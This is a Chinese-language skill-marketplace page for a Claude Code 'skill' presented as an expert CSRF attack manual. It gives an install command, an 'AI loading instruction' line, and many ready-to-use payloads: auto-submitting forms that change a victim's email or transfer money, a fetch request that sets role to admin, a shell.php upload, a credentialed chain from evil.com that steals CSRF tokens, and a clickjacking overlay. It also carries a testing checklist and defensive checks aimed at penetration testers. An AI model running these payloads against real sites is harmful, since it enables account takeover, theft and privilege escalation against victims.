mcpField
C
csrf-cross-site-request-forgery

csrf-cross-site-request-forgery

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 csrf-cross-site-request-forgery

面向安全测试人员的 CSRF 分析技能,涵盖令牌验证缺陷、SameSite 绕过、JSON 与 multipart 请求,以及结合 XSS 或 CORS 的攻击路径,并提供测试指导。

主要功能

  1. 01识别 CSRF 攻击目标
  2. 02令牌验证绕过模式
  3. 03SameSite 边界情况
  4. 04JSON 与 multipart CSRF
  5. 05XSS 和 CORS 攻击链
  6. 06测试清单与 PoC 模板

适用场景

  1. 01评估会更改状态的 Web 端点
  2. 02测试 CSRF 令牌处理
  3. 03检查 SameSite Cookie 防护
  4. 04分析 OAuth state 防护

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill csrf-cross-site-request-forgery

安装后在 Claude Code 中输入/csrf-cross-site-request-forgery确认已加载。

详细介绍

技能:CSRF — 跨站请求伪造 — 专家攻击手册

AI 加载指令:专家级 CSRF 技术。涵盖现代绕过向量(SameSite 漏洞、自定义标头缺陷、无令牌绕过模式)、JSON CSRF、多部分 CSRF,以及与 XSS 的链式利用。基础模型通常只介绍基本 CSRF,不涉及 SameSite 边缘情况和常见的令牌实现缺陷。

0. 相关路由

还应加载:


1. 核心概念

CSRF 利用受害者的活动会话,从攻击者的源站发起会改变状态的请求。

必要条件:

  1. 受害者已通过身份验证(活动会话 Cookie)
  2. 服务器仅通过 Cookie 识别会话(没有辅助检查)
  3. 攻击者能够预测或构造有效请求
  4. Cookie 会随跨源请求发送(SameSite=None 或旧版行为)

2. 查找 CSRF 攻击目标

高价值的状态变更端点:

- Password change         ← account takeover
- Email change            ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer   ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable  
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update

3. 令牌绕过技术

不存在令牌

最简单的情况 — 表单中根本没有 CSRF 令牌。检查 POST /change-email 是否包含任何令牌。如果没有 → 可轻易利用。

令牌未验证(最常见的发现!)

请求中存在令牌,但服务器端从未验证:

Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass
令牌与会话绑定,但未与用户绑定
Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token  
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass
令牌仅在 Cookie 中

当服务器将 CSRF 令牌设为 Cookie,并要求客户端在标头或表单中回传时:

Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass
静态或可预测的令牌
→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable
双重提交 Cookie 模式(信任子域时存在缺陷)
If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass

4. SAMESITE 绕过场景

SameSite=Lax(现代浏览器默认值):顶层 GET 导航会发送 Cookie,但跨站 iframe/form POST 不会发送。

通过 GET 方法绕过 SameSite=Lax:


<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>

通过子域 XSS 绕过(SameSite Lax/Strict):

// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';

SameSite=None(旧版或显式设置):Cookie 会在所有情况下发送 → 经典 CSRF 仍然适用。

Cookie 是否为近期设置?Lax 豁免: Chrome 有 2 分钟的例外期:如果 Cookie 刚刚设置,在此期间,跨站 POST 请求会携带 Lax Cookie(适用于 OAuth 流程)。竞态窗口:设置 Cookie 后,立即在 2 分钟内触发 CSRF。


5. CSRF 概念验证模板

简单表单 POST
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
  <input type="hidden" name="email" value="[email protected]">
  <input type="hidden" name="confirm_email" value="[email protected]">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
自动点击提交
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
</body>
通过 GET 执行 CSRF(使用 img 标签)
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
使用自定义标头的 CSRF(XMLHttpRequest — 仅同源,可绕过简单防护)

如果 API 要求使用 X-CSRF-Token 之类的自定义标头,但也会在 CORS 通配符配置下接受 JSON — CORS 配置错误时,自定义标头无法提供保护:

// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;  // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');

6. JSON CSRF

当端点接受 Content-Type: application/json 时 — 使用 fetch() 携带 CORS 凭据:

// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: '[email protected]'})
});

要求:Access-Control-Allow-Origin: https://attacker.com 和 Access-Control-Allow-Credentials: true

如果服务器仅接受 application/json,但没有 fetch CORS: 无法通过 HTML 表单执行正确的 JSON CSRF(表单只能发送 application/x-www-form-urlencoded、multipart/form-data、text/plain)。

技巧 — 降级 Content-Type:如果服务器会将 text/plain 请求体作为 JSON 处理:

<form enctype="text/plain" method="POST" action="https://target.com/api">
  <input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>

生成的请求体:{"email":"[email protected]","ignore":"="}


7. 多部分 CSRF

将 Content-Type 从 application/json 改为 multipart/form-data 后,请求仍然有效时:

<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
  <input name="email" value="[email protected]">
</form>

8. CSRF + XSS 组合(绕过 CSRF 令牌)

当 CSRF 防护本身可靠时,XSS 可实现 CSRF 绕过:

// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);

9. OAUTH CSRF(缺少 STATE 参数)

OAuth 流程中未使用 state 参数 → OAuth 授权存在 CSRF:

攻击:

  1. 攻击者发起 OAuth 流程,获取授权码
  2. 在兑换授权码之前,停止流程(捕获包含授权码的重定向 URL)
  3. 向受害者发送伪造的 URL:https://target.com/oauth/callback?code=ATTACKER_CODE
  4. 受害者的浏览器兑换攻击者的授权码 → 受害者的账号关联到攻击者的 OAuth 提供方

影响:攻击者可以冒充受害者登录。


10. CSRF 测试清单

□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
   With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer

11. JSON CSRF 技术

方法 1:伪装为 text/plain

<form action="https://target.com/api/role" method="POST" enctype="text/plain">
  <input name='{"role":"admin","ignore":"' value='"}' type="hidden">
  <input type="submit" value="Click me">
</form>


方法 2:携带凭据的 XHR
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>

方法 3:fetch() API
<script>
fetch("https://target.com/api/role", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "text/plain"},
  body: '{"role":"admin"}'
});
</script>

12. MULTIPART CSRF 与客户端路径遍历

Multipart 文件上传 CSRF
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");

fetch("https://target.com/upload", {
  method: "POST",
  credentials: "include",
  body: formData
});
</script>
客户端路径遍历到 CSRF(CSPT2CSRF)
Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action

Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token
方面传统 CSRFCSPT2CSRF
来源攻击者的网站同源 JavaScript
绕过令牌需要伪造令牌无需令牌(同源)
SameSite被 SameSite=Strict 阻止绕过 SameSite(同站!)
检测标准 CSRF 检查需要对路径段进行输入验证

13. SAMESITE=LAX 高级绕过技术

13.1 通过 window.open() 进行顶级导航(2 分钟窗口)

Chrome 的 Lax+POST 例外:如果 SameSite=Lax Cookie 是在最近 2 分钟内设置的,那么在跨站 POST 请求中也会发送该 Cookie(此机制为 OAuth 流程而存在)。

// Attacker page: trigger login to set a fresh cookie, then immediately CSRF
// Step 1: Force victim to visit target (sets fresh session cookie)
window.open('https://target.com/login');
// Step 2: Within 2 minutes, POST to state-changing endpoint
setTimeout(() => {
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'https://target.com/account/change-email';
    form.innerHTML = '<input name="email" value="[email protected]">';
    document.body.appendChild(form);
    form.submit();
}, 5000);
13.2 从攻击者网站发起 302 重定向链

顶级 GET 导航会发送 Lax Cookie。通过重定向链可将 GET 转换为操作:

1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeeds
13.3 方法覆盖:将 POST 伪装成 GET

许多框架支持通过 _method 参数覆盖请求方法:

GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1

可触发方法覆盖的标头:

X-HTTP-Method-Override: POST
X-Method-Override: DELETE
_method=PUT (Rails, Laravel, Symfony)

SameSite=Lax 允许 GET → 框架通过覆盖将其处理为 POST/DELETE → 对“仅限 POST”的端点发起 CSRF。


14. 高级 JSON CSRF 技术

14.1 基于 Flash 的 Content-Type 操纵(旧版)

Flash(2021 年以前)可以在跨源请求中发送任意 Content-Type 标头,且无需预检:

var req:URLRequest = new URLRequest("https://target.com/api/role");
req.method = "POST";
req.contentType = "application/json";
req.data = '{"role":"admin"}';
navigateToURL(req);

虽然已是旧技术,但对较旧的内部应用仍然有用。

14.2 fetch() no-cors 模式的限制与变通方法

fetch() 在 no-cors 模式下可以发送简单请求,但不能设置 Content-Type: application/json(会触发预检),也不能读取响应。

变通方法——如果服务器接受 text/plain 请求体并将其解析为 JSON:

fetch('https://target.com/api/role', {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {'Content-Type': 'text/plain'},
    body: '{"role":"admin"}'
});
14.3 将 JSON 编码为 form-urlencoded

某些后端同时接受这两种内容类型:

<form action="https://target.com/api/role" method="POST">
  <input name="role" value="admin">
  <input name="user_id" value="123">
</form>

如果服务器对 role=admin&user_id=123 和 {"role":"admin","user_id":123} 的处理相同 → 可通过不触发 CORS 预检的纯 HTML 表单发起 CSRF。


15. CSRF + CORS 错误配置攻击链

反射 Origin + 凭据
1. Target API reflects Origin in Access-Control-Allow-Origin
2. Access-Control-Allow-Credentials: true
3. Attacker page sends credentialed fetch() from https://evil.com
4. Response is readable → CSRF token extracted from response
5. Second request with valid CSRF token → bypass all CSRF defenses
fetch('https://target.com/api/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
      fetch('https://target.com/api/change-email', {
          method: 'POST',
          credentials: 'include',
          headers: {
              'Content-Type': 'application/json',
              'X-CSRF-Token': data.csrf_token
          },
          body: JSON.stringify({email: '[email protected]'})
      });
  });
子域名 XSS → CORS → CSRF

如果 *.target.com 位于 CORS 允许列表中,且任一子域名存在 XSS:

  1. 利用 blog.target.com 上的 XSS
  2. 在 XSS 上下文中,向 api.target.com 发起 fetch 请求(CORS 允许子域名)
  3. 从响应中读取 CSRF 令牌
  4. 携带有效令牌提交会更改状态的请求

16. CSRF 令牌固定(会话前令牌)

如果 CSRF 令牌在身份验证前签发,并且登录后仍然有效:

1. Attacker visits target.com → receives CSRF token T1
2. Attacker forces victim's browser to use T1:
   a. Cookie tossing from subdomain
   b. CRLF injection to set csrf_cookie
3. Victim logs in — CSRF token unchanged
4. Attacker submits CSRF request with known T1 → succeeds
测试流程
□ Obtain CSRF token as unauthenticated user
□ Log in — does the CSRF token change?
□ If unchanged → token fixation: pre-auth token works post-auth
□ Use pre-auth token in a CSRF PoC against authenticated endpoint

17. 利用点击劫持绕过 CSRF 防护

当 CSRF 防护完善,但缺少 X-Frame-Options / frame-ancestors 时:

攻击流程
1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors)
2. Attacker creates transparent iframe overlay
3. Victim sees attacker content, clicks land on target's action button in hidden iframe
4. Click originates from same origin (within iframe) — bypasses CSRF tokens
PoC 模板
<html>
<body>
<div style="position:relative">
  <iframe src="https://target.com/account/settings"
    style="opacity:0.0001; position:absolute; top:0; left:0;
           width:500px; height:500px; z-index:2;">
  </iframe>
  <button style="position:absolute; top:250px; left:200px; z-index:1;
                 padding:20px; font-size:24px;">
    Click to claim prize!
  </button>
</div>
</body>
</html>
防御检查
□ X-Frame-Options: DENY or SAMEORIGIN header present?
□ CSP: frame-ancestors 'self' or frame-ancestors 'none'?
□ If neither → clickjacking possible → CSRF bypass via iframe

评论

支持 Markdown